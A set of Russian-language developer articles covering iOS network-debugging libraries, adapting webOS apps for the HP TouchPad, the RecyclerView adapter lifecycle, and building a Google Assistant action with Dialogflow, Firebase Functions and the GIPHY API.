Из преимуществ здесь простая интеграция в приложение без написания кода, описание запроса и удобное отображение JSON.
Из недостатков - не отображаются запросы через библиотеку KingFisher для загрузки изображений. Вероятно есть проблемы с отображением запросов и других сторонних библиотек, хотя авторы уверяют, что Alamofire и AFNetworking поддерживаются.
#### 2. Netfox
Установить можно несколькими способами: через Swift Package Manager, через Cocoapods, через Carthage или вручную. Все способы подробно описаны в readme. Мы выбрали установку через Cocoapods. Для этого в свой Podfile добавляем строку:
`pod ‘netfox’, :configuration => [‘Debug’]`
и установливаем поды через терминал.
Далее необходимо импортировать в проект. Делается это следующим образом. В файле AppDelegate импортируем netfox:
`import netfox`
и в функцию application с параметром didFinishLaunchingWithOptions вставляем следующий код:
`#if DEBUG`
`NFX.sharedInstance().start()`
`#endif`
На этом импортирование библиотеки завершено и можно запускать приложение. Открытие анализатора запросов происходит аналогично предыдущему фреймворку, а именно через встряхивание смартфона или комбинацией клавиш Control-Command-z в случае работы на симуляторе. Хотя есть возможность кастомизировать по своему усмотрению, и в документации описано как это сделать. После встряхивания открывается список запросов.
Кликнув по запросу, мы получаем подробную информацию, его статус, ответ от сервера.
Также здесь есть возможность отображать тело запроса и ответа в различных форматах (JSON, HTML, XML), или просмотреть изображение, если оно запрашивалось.
Доступна настройка анализатора, просмотр статистики по запросам, объему трафика и т.д.
Подводя итог, можно сказать, что Netfox достаточно мощный и удобный инструмент для анализа трафика. К преимуществам можно отнести более детальное описание запросов, возможность предпросмотра изображений, поддержка разных форматов и сторонних библиотек. К недостаткам, в сравнении с Wormhole, можно отнести необходимость внедрения в код проекта.
#### 3. Dotzu
Ссылка на репозиторий - [здесь](https://github.com/remirobert/Dotzu).
Не рекомендуется к использованию, так как проект не развивается. Поддерживает 9 версию iOS. После ручной адаптации кода под современные версии iOS получилось запустить приложение, однако работало оно на симуляторе с 12 версией iOS. Более поздние версии не поддерживаются. Но даже после запуска по какой-то причине список запросов не отображался, так что можно сделать вывод о невозможности применения этой библиотеки в современной разработке. К тому же в репозитории указано, что владелец заархивировал его, что говорит о том, что проект, к сожалению, мертв.
Не рекомендуется к использованию, так как проект не развивается. Поддерживает 9 версию iOS. После ручной адаптации кода под современные версии iOS получилось запустить приложение, однако работало оно на симуляторе с 12 версией iOS. Более поздние версии не поддерживаются. Но даже после запуска по какой-то причине список запросов не отображался, так что можно сделать вывод о невозможности применения этой библиотеки в современной разработке. К тому же в репозитории указано, что владелец заархивировал его, что говорит о том, что проект, к сожалению, мертв.
#### 4. FLEX
Ссылка на репозиторий - [здесь](https://github.com/FLEXTool/FLEX). Очень мощный инструмент для дебаггинга приложения в реалтайме. Описание всех возможностей этой библиотеки - материал для отдельной статьи, поэтому здесь коснемся только вопросов связанных с анализом трафика. Установка подробно описана в документации, мы воспользовались привычным способом - через CocoaPods. Добавляем строку в Podfile:
`pod ‘FLEX’, :configuration => [‘Debug’]`
и устанавливаем поды. В файл AppDelegate импортируем FLEX и в функцию **application()** с параметром **didFinishLaunchingWithOptions** вставляем следующий код:
`#if DEBUG`
`FLEXManager.shared.showExplorer()`
`#endif`
После запуска приложения в симуляторе необходимо нажать f, чтобы вызвать панель инструментов FLEX.
Нажав **menu -> Network History** мы попадаем в анализатор трафика. Здесь все похоже на предыдущие фреймворки: список запросов, возможность посмотреть детальное описание запроса, отформатированный JSON или изображение.
Функционал, способ импортирования и запуска практически полностью идентичен Netfox. Поэтому если не нужен остальной функционал FLEX, наверное более обоснованно использовать Netfox, поскольку у него функционал четко ограничен сетевым взаимодействием. Однако если для дебаггинга приложения нужен дополнительный функционал, то FLEX - идеальный выбор для этого.
#### 5. PonyDebugger
Ссылка на [репозиторий](https://github.com/square/PonyDebugger).
Суть работы этого фреймворка несколько отличается от предыдущих. В локальной сети, к которой подключено устройство или на хосте запускается сервер. У сервера есть веб-страница, которая собственно отображает все запросы устройства. Однако нормально запустить сервер на MacOS Big Sur не получилось - способ установки, описанный в документации не работает. Несколько дополнительных способов описаны в Issues к проекту. С их помощью удалось поднять сервер, но не получается зайти на веб страницу. С подобной проблемой сталкиваются многие пользователи, но решения, которое бы «лечило» все проблемы пока не нашлось.Сам фреймворк достаточно давно не обновлялся, возможно проблема связана именно с адаптацией под новые версии MacOS, так как внутри используется Python 2.7, который уже несколько лет официально не поддерживается. Поэтому при попытке использовать данный фреймворк надо иметь ввиду, что из коробки его использовать не получится.
### Выводы
Из рассмотренных выше фреймворков сложно выбрать однозначного лидера. Несмотря на весьма похожий функционал, у каждого из них есть свои преимущества и недостатки. Например, Wormehole крайне прост в установке и использовании и не требует непосредственной интеграции в код, однако в сравнении с другими не отображает все запросы и описание самих запросов не такое подробное. В то же время FLEX и Netfox обладают схожими возможностями, но если сфера применения Netfox - это только анализ трафика приложения, то FLEX - это мощный инструмент для дебага всего приложения с возможностью даже менять View приложения в реальном времени. Поэтому стоит выбирать тот или иной фреймворк исходя из потребностей.
Фреймворки с интеграцией в код удобно использовать на этапе разработки приложения для тестирования работы с сетью. В отличии от прокси, для отслеживания трафика нет необходимости устанавливать SSL сертификаты. Но очевидным недостатком является то, что их нельзя использовать для анализа трафика в релизных версиях приложения, поскольку все эти фреймворки работают только в дебаг схемах. Поэтому для прода следует рассматривать инструменты, использующие прокси, которые были описаны в первой части.
|
https://habr.com/ru/post/675700/
| null |
ru
| null |
# Адаптация смартфонных приложений для планшета HP TouchPad
Планшет HP TouchPad является весьма [незаурядным webOS-девайсом](http://habrahabr.ru/blogs/iTablet/124165/), обладающим свойством обратной совместимости с практически любым приложением для смартфонов на платформе webOS, созданным с помощью фирменной среды разработки Mojo SDK (далее Mojo-приложения). Единственным серьезным недостатком является то, что Mojo-приложения запускаются в привычном для смартфонов разрешении 320x480 точек, совершенно игнорируя дополнительное пространство экрана планшета.
Данная статья поможет вам быстро адаптировать телефонное приложение, созданное в среде разработки Mojo SDK, для нового планшета от HP.
Если, создавая свое приложение, разработчик проявил проницательность и реализовал возможность масштабируемости, то вместо утомительного портирования Mojo-приложения на планшет с помощью среды разработки
[Enyo SDK](https://developer.palm.com/), можно просто уделить пару минут своему приложению, чтобы сделать его полноэкранным и дружелюбным к пользователю TouchPad.
**Итак, приступим…**
Прежде, чем что-либо предпринимать, продумайте план. Пройдитесь по всем сценам приложения и запишите те сцены, выйти из которых можно только с помощью жеста «назад» в области жестов смартфона. Этот список понадобится нам в дальнейшем, чтобы реализовать отдельную кнопку возврата, поскольку TouchPad лишен области жестов.
Следующим шагом нужно внести изменения в файл appinfo.json, чтобы TouchPad убрал рамку вокруг нашего приложения и перешел в полноэкранный режим. Добавьте в файл appinfo.json file строку:
`uiRevision: 2`
Теперь загрузите приложение в эмулятор или планшет и убедитесь, что все работает, как ожидалось.
Увеличилось изображение, но изменились в размере и кнопки (чтобы соответствовать ширине экрана 1024 пикселей вместо 320), что выглядит не слишком эстетично. Та же проблема может произойти с текстовыми полями и группами элементов. К исправлению этих недочетов мы вернемся чуть позже.
**Определение TouchPad**
Теперь нужно определить, запущено наше приложение на телефоне или на TouchPad. Пока существует только один планшет на webOS, можно использовать небольшой программный трюк, о котором пойдет речь дальше. Хотя, возможно, придется реализовать дополнительное определение размера экрана планшета, если выйдет обещанный [7-дюймовый Opal](http://www.palmq.ru/article.php?sid=2830). Но пока этого хватит, а дальше все равно придется Enyo-изировать ваше приложение.
В зависимости от файловой структуры вашего приложения, возможно вы создали глобальный JavaScript-файл, содержащий основные функции. В таком случае, мы будет работать с ним. В противном случае, если ваше приложение безоконное, мы будем работать с файлов AppAssistant.js, или, если ваше приложение одноступенчатое, работа будет идти с файлом StageAssistant.js file. В любом случае, все дальнейшие отсылки будет к тому файлу, который вы считаете «глобальным».
В вашем глобальном файле создайте новую функцию. Хорошей практикой является наличие именованного объекта, доступного из любой части приложения, а если вы используете девелоперский сервис статистики [Metrix](http://metrix.webosroundup.com), такой объект у вас уже есть. В ином случае, создайте такой объект:
`var myApp = {};`
Убедитесь, что этот код находится вне любых других функций и размещен отдельной строкой, чтобы доступ к нему был глобальным. Теперь перейдем к созданию нашей функцию детектирования планшета TouchPad.
`myApp.isTouchPad = function(){
};`
Первым делом, нам нужно вставить код, который сделает нашу функцию работающей. Мы будем взаимодействовать с объектом DeviceInfo из фреймворка Mojo. Ничего сложного тут нет, все очень просто и прямолинейно. Мы пройдем по всем этапам и шаг за шагом рассмотрим все необходимые операции.
`if(Mojo.Environment.DeviceInfo.modelNameAscii.indexOf("ouch")>-1) {
return true;
}`
Этот блок просматривает текстовое имя устройства и ищет в нем строку “ouch”. Строка “ouch” выбрана, чтобы не было проблемы с регистрозависимостью, исключить возможное влияние пробелов, плюс сама строчка была короткой. Регулярное выражение подошло бы больше, но автору было лень писать его.
Но что, если программа будет запущена на другом webOS-устройстве с высоким разрешением экрана или в эмуляторе? На этот случай добавим еще две проверки, если первые проверки не прошла. Еще раз, это может быть не самый идеальный способ, но он работает и, в конце концов, вы все равно планируете переделывать свое приложения Enyo, не так ли? :)
`if(Mojo.Environment.DeviceInfo.screenWidth==1024){ return true; }
if(Mojo.Environment.DeviceInfo.screenHeight==1024){ return true; }`
Здесь мы проверяем ширину и высоту экрана устройства, в зависимости от его ориентации.
И наконец, установим возвращаемое значение по умолчанию в false, если предыдущие проверки не определили ничего подходящего.
`return false;`
Теперь объединим всё вышеперечисленное:
`var myApp = {};
myApp.isTouchPad = function(){
if(Mojo.Environment.DeviceInfo.modelNameAscii.indexOf("ouch")>-1) {
return true;
}
if(Mojo.Environment.DeviceInfo.screenWidth==1024){ return true; }
if(Mojo.Environment.DeviceInfo.screenHeight==1024){ return true; }
return false;
};`
Еще раз, возможно есть более удачные и эффективные способы сделать это, но и этот работает отлично.
**Обработка моментов, специфичных для TouchPad**
Наконец-то есть шанс использовать нашу функцию. В сценах, где требуется отобразить кнопку возврата, вставим этот фрагмент кода:
`if(myApp.isTouchPad()){
var menuModel = {
visible: true,
items: [
{ icon: "back", command: "goBack"}
]
};
this.controller.setupWidget(Mojo.Menu.commandMenu,
this.attributes = {
spacerHeight: 0,
menuClass: 'no-fade'
},
menuModel
);
}`
Здесь мы используем виджет CommandMenu, но с таким же успехом могли бы использовать виджет ViewMenu или общую кнопку действия, или любой другой виджет. Этот сниппет просто отображает маленькую круглую кнопку со стрелкой «назад», чтобы пользователи могли вернуться в предыдущую сцену.
Возможно, Вам захочется вставить его в переключатель (switch) в функции handleCommand для вашей сцены
`case 'goBack':
this.controller.stageController.popScene();
break;`
или любой другой код, применимый к вашему приложению для возврата в предыдущую сцену.
**Улучшаем внешний вид приложения**
Как уже упоминалось выше, ваши кнопки и схожие элементы раздались в ширину, что выглядит не очень-то эстетично. Вот простой способ исправить это. Внутри сцены, там где определяется, что программа работает на TouchPad, добавьте этот небольшой код, добавляющий специальный стиль к виджету.
`this.controller.get("search-button").addClassName("touchpad");`
Этот код добавит класс «touchpad» к виджету кнопки поиска. Теперь вы можете контролировать его через вашу таблицу стилей CSS. Например:
`#search-button.touchpad {
width: 45% !important;
margin: 5px auto !important;
}`
Это оформление уменьшит кнопки и разместит их по центру экрана. Но что если в приложении у вас две связанные кнопки? Тогда вам нужно разместить их рядом друг с другом, например, так:
`this.controller.get("save-button").addClassName("touchpad");
this.controller.get("cancel-button").addClassName("touchpad");`
А затем в вашем CSS сделать так:
`#save-button.touchpad {
width: 45% !important;
margin-left: 10px !important;
float: left;
}
#cancel-button.touchpad {
width: 45% !important;
margin-right: 10px !important;
float: right;
}`
Теперь кнопки располагаются рядом друг с другом. Возможно придется поиграть с параметрами, чтобы подобрать нужные для конкретного приложения (а также иметь элемент clear: both, чтобы контент соответствовал ожидаемому).
**Прочие вещи, о которых нужно побеспокоится**
Если в сцене используется фоновое изображение, убедитесь, что вы повторили его до заполнения всего экрана. Абсолютно все будет выглядеть супер-широким, поэтому лучше использовать отдельные изображения для TouchPad. Адаптируя свое приложение growlr, автор статьи не стал делать абсолютно все, чтобы оно выглядело идеально на TouchPad. Главная задачей было быстро получить работоспособное приложение. Улучшать внешний вид можно сколь угодно долго, но лучше потратить это время на портирование приложения на Enyo.
И это все! Если у вас есть замечания к статье, добро пожаловать в камменты здесь или на сайте автора.
|
https://habr.com/ru/post/124775/
| null |
ru
| null |
# О чем все-таки говорит developer.android.com про RecyclerView
Приветствую вас, уважаемые хабражители! На написание статьи меня подтолкнул [этот пост](https://habr.com/post/430402/) (а точнее, то чувство резкого локального повышения температуры в районе… хм, поясницы, обычно возникающее, когда в интернете кто-то неправ).
Начнем с самого начала. Полностью согласен, что *"между жизненным циклом активности и работой RecyclerView есть нечто общее"* – это "нечто" – необходимость понимать, что мы делаем и зачем. И читать документацию. А невыполнение этих двух необходимостей, как и сон разума, рождает монстров. Только вот с тем, как предлагает с этими монстрами бороться предыдущий автор, я категорически не согласен.
Рассмотрим 2 условия.
### Условие № раз
Если вы где-то навешиваете listener, то где-то в другом месте вы должны его отсоединять. Делают это обычно в симметричных функциях – присоединяем в `onViewAttachedToWindow`, убираем в `onViewDetachedFromWindow`. Присоединяем в `onBindViewHolder`… Не присоединяем в `onBindViewHolder`. Этот вызов не симметричный, он может вызываться несколько раз в зависимости от разных условий. Не надо усложнять себе жизнь.
Если же вам, как и автору исходной статьи приходит в голову мысль: *"Но есть случаи, когда… в слушателе необходимо учитывать позицию элемента в списке, доступ к которой есть в методе onBindViewHolder() и отсутствует в onViewAttachedToWindow()"*, то гоните эту мысль прочь. Так делать нельзя. Даже если очень хочется. Как сказано в [документации](https://developer.android.com/reference/android/support/v7/widget/RecyclerView.Adapter.html#onbindviewholder), этот метод не будет вызван, если изменилась только **позиция** элемента, но не его содержимое, поэтому мы рискуем получить в нашем слушателе неправильную позицию. Используйте `getAdapterPosition`.
### Условие № два
`RecyclerView` – штука довольная сложная. Не надо усложнять себе жизнь еще больше. Если вы не занимаетесь оптимизацией производительности, вам **не должно быть** важно, попал этот элемент в общий пул или нет.
### Результат
При соблюдении этих двух условий вам вряд ли понадобится изобретать велосипед в виде флага типа `viewWasRecycled`.
### Что происходит?
Что вообще может происходить с элементом в `RecyclerView`? Во-первых, надо учитывать, что есть 2 "хранилища" – кэш и пул. В кэш элемент попадает, если он ушел за границы экрана, но в любое время может вернуться снова – при этом даже не произойдет перепривязки этого элемента (т.е. метод `onBindViewHolder` вызван **не будет**). Если кэш заполнился, или **по какой-то другой причине** `RecyclerView` решил, что этот элемент нам в ближайшее время не понадобится, он отправится в пул (вот здесь и будет вызван `onViewRecycled`). Восстановленный из пула элемент будет перепривязан (потому что скорее всего его позиция изменилась), и мы получим вызов `onBindViewHolder`. А вот если элемент ушел и из пула, тогда новый элемент пройдет через весь цикл – `onCreateViewHolder`, `onBindViewHolder`, `onViewAttachedToWindow`.
Итого, у нас есть 3 варианта развития событий:
* элемента раньше не было: создаем, привязываем, присоединяем;
* элемент был в пуле: привязываем, присоединяем;
* элемент был в кэше: просто присоединяем.
### Где и как?
Что и на каких этапах лучше делать с элементом?
* `onCreateViewHolder`. Создаем, хм, `ViewHolder`. Не надо здесь привязывать listener, заполнять контентом и т.д. Достаточно просто определить, какой тип нам нужен и создать его.
* `onBindViewHolder`. Выполняем фактическую привязку контента – текст, картинки. Параметр `position` можно использовать только в самом методе – не сохраняем его, не отправляем в замыкания, помним, что этот метод будет вызван еще раз в том случае, если изменились данные (и не будет, если поменялось только положение). Listener я бы тоже не стал здесь навешивать – из соображений симметрии.
* `onViewAttachedToWindow`. Элемент будет сейчас виден на экране, пользователь сможет с ним взаимодействовать – хороший момент, чтобы присоединить listener. Помним, что если внутри него нам нужна позиция элемента, то получаем ее через `getAdapterPosition`.
* `onViewDetachedFromWindow`. Элемент не будет отображаться на экране. Пользователь не сможет с ним взаимодействовать. Убираем listener.
* `onViewRecycled`. Элемент отправляется в ~~ад~~ пул. Здесь можно освободить тяжелые ресурсы (закэшированные картинки, например). Если элемент и будет переиспользован – то, скорее всего, для другой позиции.
Вот вроде бы и всё. Надеюсь, ничего не забыл и не перепутал, но если что – тыкайте носом, не стесняйтесь.
|
https://habr.com/ru/post/430812/
| null |
ru
| null |
# Actions on Google: пишем простое приложение для Google Ассистента на Dialogflow и Cloud Functions for Firebase
В конце прошлого месяца состоялся [официальный релиз](https://habr.com/company/google/blog/347824/) Google Ассистента на русском языке, так что самое время разобраться, как делать свои приложения (*экшены*) для Ассистента на стандартном технологическом стеке Google. В этой статье мы рассмотрим создание экшена в **Actions on Google**, разберём процесс извлечения сущностей и интентов из фраз в **Dialogflow**, узнаем, как писать обработчики извлеченной информации и работать с сетью в **Cloud Functions for Firebase**.
*Рис. 1. Архитектура приложения для Ассистента.*
Разработка под Ассистента начала активно развиваться сравнительно недавно, поэтому в сети пока мало материалов, а количество используемых инструментов и технологий существенно повышает порог вхождения. Эта статья хоть и не решает, но как минимум способствует решению упомянутых проблем. Начнем с архитектуры приложений для Ассистента (рис. 1), реализованных на стандартном технологическом стеке Google:
* **Actions on Google** — платформа для создания приложений для Google Ассистента.
* **Dialogflow** — NLU-движок (Natural Language Understanding), отвечающий за обработку естественных языков и дизайн диалогов.
* **Cloud Functions for Firebase** (для удобства будем использовать сокращение Firebase Functions) — облачные функции для обработки сложной логики взаимодействия с пользователем и для работы со сторонними сервисами. Firebase Functions и Dialogflow взаимодействуют через webhook, поэтому технически можно использовать любое другое серверное решение. Однако Firebase Functions является хорошей альтернативой, а иногда и заменой собственному backend’у. Он позволяет создавать и запускать сервисы на инфраструктуре Google, не заботясь о выделении, масштабировании или управлении серверами. С одной стороны, это позволяет сосредоточится на продуктовой составляющей разработки и функциональности сервиса, не тратя время на инфраструктурные задачи и администрирование. Но с другой стороны, как правило, делегирование влечет за собой ослабление контроля над ситуацией.
В статье делается акцент на технический аспект разработки, стоимость использования перечисленных сервисов разобрана не будет.
*Рис. 2. Взаимодействие компонентов Google Ассистента (Основано на материале: [Google Home and Google Assistant Workshop](https://www.slideshare.net/bretmc/google-home-and-google-assistant-workshop-build-your-own-serverless-action-on-google-app)).*
В рамках описанного стека логика работы экшена выглядит так (рис. 2):
* Пользователь обращается к приложению Google Ассистент и инициирует разговор с определенным экшеном.
* Google Ассистент через Actions on Google проксирует каждую фразу пользователя в текстовом формате в Dialogflow, дополнительно предоставляя [информацию о самом пользователе](https://developers.google.com/actions/assistant/helpers) (при предварительном запросе и с согласия пользователя) и [текущей беседе](https://developers.google.com/actions/assistant/save-data).
* Dialogflow обрабатывает полученную фразу, извлекает из неё необходимую информацию и на основе ML принимает решения о том, какой ответ будет сформирован.
* В некоторых случаях Dialogflow может делегировать формирование ответа серверу на Firebase Functions, который, в свою очередь, может задействовать сторонние сервисы для получения необходимой для ответа информации.
* После того, как ответ сформирован, Dialogflow возвращает его в Actions on Google, откуда он поступает в приложение Google Ассистента.
Идея
----
Наш экшн будет по фразе определять, какие гифки хочет увидеть пользователь, а затем будет искать их через GIPHY API и возвращать пользователю в виде карточек. При реализации экшена мы разберем решение следующих задач:
1. Настройка и связка Actions on Google, Dialogflow и Firebase Functions.
2. Извлечение ключевых слов из фраз пользователя (Dialogflow).
3. Создание сценариев диалога (Dialogflow).
4. Работа с контекстом диалога (Dialogflow).
5. Создание и подключение webhook для генерации ответа на фразу пользователя (Dialogflow, Firebase Function).
6. Отображение карусели из карточек в интерфейсе (Firebase Functions).
7. Загрузка информации из стороннего сервиса (Firebase Functions).
Первичная настройка
-------------------
*Рис. 3. Создание агента Dialogflow.*
Прежде всего нам потребуется Google-аккаунт. Начнем с создания проекта в Dialogflow, для этого в [консоли](https://console.dialogflow.com/) нажмем кнопку «Create Agent» и заполним необходимые поля (рис. 3):
* Язык по умолчанию: «Russian — ru».
* Часовой пояс: "(GMT+3:00) Europe/Moscow".
* Google Cloud Project: новый GCP для вашего Dialogflow-агента создастся автоматически, либо же вы можете выбрать один из существующих GCP-проектов, если таковые у вас имеются.
Затем нажимаем кнопку «Create» в правом верхнем углу и ждем, пока консоль конфигурирует новый проект.
*Рис. 4. Стандартные интенты.*
По умолчанию при создании агента Dialogflow создаются два интента (рис. 4):
* «Default Welcome Intent» — отвечает за приветствие пользователя;
* «Default Fallback Intent» — обрабатывает неизвестные фразы, которые Dialogflow не может отнести к каким-либо другим интентам.
Создание диалогов в Dialogflow уже было подробно описано в статьях [тут](https://habr.com/company/redmadrobot/blog/419773/), [тут](https://habr.com/company/redmadrobot/blog/420111/) и [тут](https://habr.com/post/342762/), поэтому я не буду акцентировать внимание на его принципе работы.
*Рис. 5. Ответы для «Default Welcome Intent».*
Добавим в «Default Welcome Intent» несколько приветственных ответов, которые помогут пользователю понять, для чего нужен экшн и какие функции он умеет выполнять. В разделе «Responses» выберем вкладку «Google Assistant» и в «Suggestion Ships» пропишем примеры фраз, чтобы подсказать пользователю, как можно общаться с экшеном (рис. 5).
Экшн можно отлаживать в Google Ассистенте как на телефоне, так и в официальном эмуляторе. Чтобы открыть эмулятор, необходимо зайти в раздел «Integrations», в карточке «Google Assistant» нажать на кнопку «Integration Settings» и кликнуть на «Manage Assistant App». И в телефоне и в эмуляторе экшн можно запустить кодовой фразой «Окей Google, я хочу поговорить с моим тестовым приложением».
Базовый сценарий: поиск гифок
-----------------------------
Создадим новый интент «Search Intent», который будет извлекать из фразы пользователя ключевые слова и передавать их по webhook серверу на Firebase Functions. Сервер, в свою очередь, с помощью GIPHY API найдет соответствующие гифки и вернет пользователю результат в виде карточек.
*Рис. 6. Добавление тренировочных фраз.*
Для начала в раздел «Training Phrases» добавим типовые фразы для обучения (рис. 6):
* «Я хочу посмотреть на танцующих жирафов».
* «Найди анимашки».
* «Покажи котиков».
* «Покажи гифки».
* «Найди мне анимированных слонов».
* «Покажи гифки с пандами».
* «Гифки с енотами-полоскунами».
* «У тебя есть тюлени».
* «Найди смешные падения».
*Рис. 7. Извлечение параметров из текста.*
У добавленных фраз отметим параметр поиска, который Dialogflow должен выделить из текста. В данном случае наиболее подходящим типом параметра будет `@sys.any`, поскольку в качестве параметра поискового запроса может выступать практически любая языковая конструкция. Назовем этот параметр `query` и отметим как обязательный (рис. 7).
*Рис. 8. Перечень наводящих вопросов.*
В подразделе «Prompts» пропишем уточняющие вопросы, которые Dialogflow будет задавать, если не сможет извлечь из фразы ключевые слова (рис. 8).
Далее следует спуститься в раздел «Fulfillment» в самом низу страницы (не путать с одноименным разделом в левом меню). нажать кнопку «Enable Fullfilment», а потом включить настройку «Enable webhook call for this intent». Это позволит Dialogflow при попадании в интент делегировать формирование ответа Firebase Functions.
Теперь перейдем во вкладку «Fulfillment» в левом меню и включим «Inline Editor», где пропишем логику для только что созданного «Search Intent». Для поиска гифок по ключевым словам мы будем использовать запрос <https://api.giphy.com/v1/gifs/search>, который возвращает список найденных объектов в JSON-формате согласно [спецификации](https://developers.giphy.com/docs/). Полученный от GIPHY ответ мы будем выводить в виде [Browsing Carousel](https://developers.google.com/actions/assistant/responses) — карусель из карточек с изображениями, при нажатии на которые открывается веб-страница. В нашем случае при клике на карточку пользователь будет переходить на страницу сервиса GIPHY с этой анимацией и списком похожих.
Код, реализующий описанную выше функциональность, представлен ниже.
```
'use strict';
const GIPHY_API_KEY = 'API_KEY';
const SEARCH_RESULTS = [
'Хе-хе, сейчас покажу мои любимые.',
'Лови, отличная подборка гифок.',
'Смотри, что я нашел!'
];
// Import the Dialogflow module from the Actions on Google client library.
const { dialogflow, BrowseCarouselItem, BrowseCarousel, Suggestions, Image } = require('actions-on-google');
// Import the firebase-functions package for deployment.
const functions = require('firebase-functions');
// Import the request-promise package for network requests.
const request = require('request-promise');
// Instantiate the Dialogflow client.
const app = dialogflow({ debug: true });
function getCarouselItems(data) {
var carouselItems = [];
data.slice(0, 10).forEach(function (gif) {
carouselItems.push(new BrowseCarouselItem({
title: gif.title || gif.id,
url: gif.url,
image: new Image({
url: gif.images.downsized_medium.url,
alt: gif.title || gif.id
}),
}));
});
return carouselItems;
}
function search(conv, query) {
// Send the GET request to GIPHY API.
return request({
method: 'GET',
uri: 'https://api.giphy.com/v1/gifs/search',
qs: {
'api_key': GIPHY_API_KEY,
'q': query,
'limit': 10,
'offset': 0,
'lang': 'ru'
},
json: true,
resolveWithFullResponse: true,
}).then(function (responce) {
// Handle the API call success.
console.log(responce.statusCode + ': ' + responce.statusMessage);
console.log(JSON.stringify(responce.body));
// Obtain carousel items from the API call response.
var carouselItems = getCarouselItems(responce.body.data);
// Validate items count.
if (carouselItems.length <= 10 && carouselItems.length >= 2) {
conv.data.query = query;
conv.data.searchCount = conv.data.searchCount || 0;
conv.ask(SEARCH_RESULTS[conv.data.searchCount % SEARCH_RESULTS.length]);
conv.data.searchCount++;
conv.ask(new BrowseCarousel({ items: carouselItems }));
} else {
// Show alternative response.
conv.ask('Ничего не смог найти по такому запросу, может поищем что-то другое?)');
}
}).catch(function (error) {
// Handle the API call failure.
console.log(error);
conv.ask('Извини, кажется альбом с гифками потерялся.');
});
}
// Handle the Dialogflow intent named 'Search Intent'.
// The intent collects a parameter named 'query'.
app.intent('Search Intent', (conv, { query }) => {
return search(conv, query);
});
// Set the DialogflowApp object to handle the HTTPS POST request.
exports.dialogflowFirebaseFulfillment = functions.https.onRequest(app);
```
**Зависимости**
```
{
"name": "dialogflowFirebaseFulfillment",
"description": "This is the default fulfillment for a Dialogflow agents using Cloud Functions for Firebase",
"version": "0.0.1",
"private": true,
"license": "Apache Version 2.0",
"author": "Google Inc.",
"engines": {
"node": "~6.0"
},
"scripts": {
"start": "firebase serve --only functions:dialogflowFirebaseFulfillment",
"deploy": "firebase deploy --only functions:dialogflowFirebaseFulfillment"
},
"dependencies": {
"actions-on-google": "2.0.0-alpha.4",
"firebase-admin": "^4.2.1",
"firebase-functions": "^0.5.7",
"dialogflow": "^0.1.0",
"dialogflow-fulfillment": "0.3.0-beta.3",
"request": "^2.81.0",
"request-promise": "^4.2.1"
}
}
```
Поскольку пользователь может обращаться несколько раз к одному и тому же интенту, рекомендуется возвращать ему разнообразные ответы. Для этого был использован JSON-объект `Conversation.data`, сохраняющий свое значение как при повторном обращении к интенту, так и при обращении к другим сценариям разговора.
*Рис. 9. Инициализация беседы (слева), уточнение параметров поиска и дальнейшее отображение результатов (по центру), отображение поисковой выдачи для нового запроса (справа)*
*Примечание: для работы с API сторонних сервисов через Firebase Functions необходимо подключить биллинг, иначе при попытках работы с сетью будет возникать ошибка:
> «Billing account not configured. External network is not accessible and quotas are severely limited. Configure billing account to remove these restrictions».
Для этого в левом меню следует кликнуть на «Платный аккаунт» и среди предложенных тарифных планов выбрать Flame ($25 в месяц) либо Blaze (оплата по мере использования). Я выбрал последний вариант, поскольку в рамках разработки тестового приложения он показался мне более выгодным.*
Продвинутый сценарий: пагинация
-------------------------------
В большинстве случаев по поисковому запросу GIPHY найдет значительно больше десяти гифок, поэтому правильно будет позволить пользователю увидеть всю поисковую выдачу, т.е. добавить пагинацию.
В консоли Dialogflow наведем курсор на ячейку «Search Intent». Справа появятся несколько кнопок, нажмем на «Add follow-up intent». Это позволит нам создать ветвь разговора, следующую после «Search Intent». Среди элементов выпадающего списка выберем «more» — стандартный игнтент для инициирования отображения дополнительной информации.
*Рис. 10. Контекст интента «Search Intent — more».*
Перейдем в только что созданный интент и внесем изменения в раздел «Context». Поскольку пользователь может несколько раз подряд просить показать ещё гифок, этот интент должен уметь вызываться рекурсивно. Для этого в исходящем контексте необходимо прописать ту же строку, что указана во входящем (рис. 10). В разделе «Fullfilment» также следует включить настройку «Enable webhook call for this intent».
Теперь вернемся в «Fillfulment» из бокового меню, где инициализируем обработчик для «Search Intent — more». Также добавим в функцию `search` параметр `offset`, который будет использоваться при пагинации в GIPHY API.
```
const SEARCH_RESULTS_MORE = [
'Вот ещё пара гифок!',
'Надеюсь, эти тебе тоже понравятся.',
'На, лови еще парочку. Если что, у меня ещё есть.'
];
function search(conv, query, offset) {
// Send the GET request to GIPHY API.
return request({
method: 'GET',
uri: 'https://api.giphy.com/v1/gifs/search',
qs: {
'api_key': GIPHY_API_KEY,
'q': query,
'limit': 10,
'offset': offset,
'lang': 'ru'
},
json: true,
resolveWithFullResponse: true,
}).then(function (responce) {
// Handle the API call success.
console.log(responce.statusCode + ': ' + responce.statusMessage);
console.log(JSON.stringify(responce.body));
// Obtain carousel items from the API call response.
var carouselItems = getCarouselItems(responce.body.data);
// Validate items count.
if (carouselItems.length <= 10 && carouselItems.length >= 2) {
conv.data.query = query;
conv.data.offset = responce.body.pagination.count + responce.body.pagination.offset;
conv.data.paginationCount = conv.data.paginationCount || 0;
conv.data.searchCount = conv.data.searchCount || 0;
// Show successful response.
if (offset == 0) {
conv.ask(SEARCH_RESULTS[conv.data.searchCount % SEARCH_RESULTS.length]);
conv.data.searchCount++;
} else {
conv.ask(SEARCH_RESULTS_MORE[conv.data.paginationCount % SEARCH_RESULTS_MORE.length]);
conv.data.paginationCount++;
}
conv.ask(new BrowseCarousel({ items: carouselItems }));
conv.ask(new Suggestions('Ещё'));
} else {
// Show alternative response.
conv.ask('Ничего не смог найти по такому запросу, может поищем что-то другое?)');
}
}).catch(function (error) {
// Handle the API call failure.
console.log(error);
conv.ask('Извини, кажется альбом с гифками потерялся.');
});
}
// Handle the Dialogflow intent named 'Search Intent - more'.
app.intent('Search Intent - more', (conv) => {
// Load more gifs from the privious search query
return search(conv, conv.data.query, conv.data.offset);
});
```
*Рис. 11. Пагинация при поиске гифок.*
Результат
---------
Видео работы экшена представлено ниже.
Код проекта и дамп ассистента доступен на [Github](https://github.com/sismetanin/dialogflow-giphy-nodejs).
**Инструкция по установке проекта и импорту дампа**1. Перейдите в консоль Dialogflow и создайте нового агента или выберите существующего.
2. Кликните на иконке настроек, перейдите в раздел «Export and Import» и нажмите кнопку «Restore from ZIP». Выберите ZIP-файл из корневой директории репозитория.
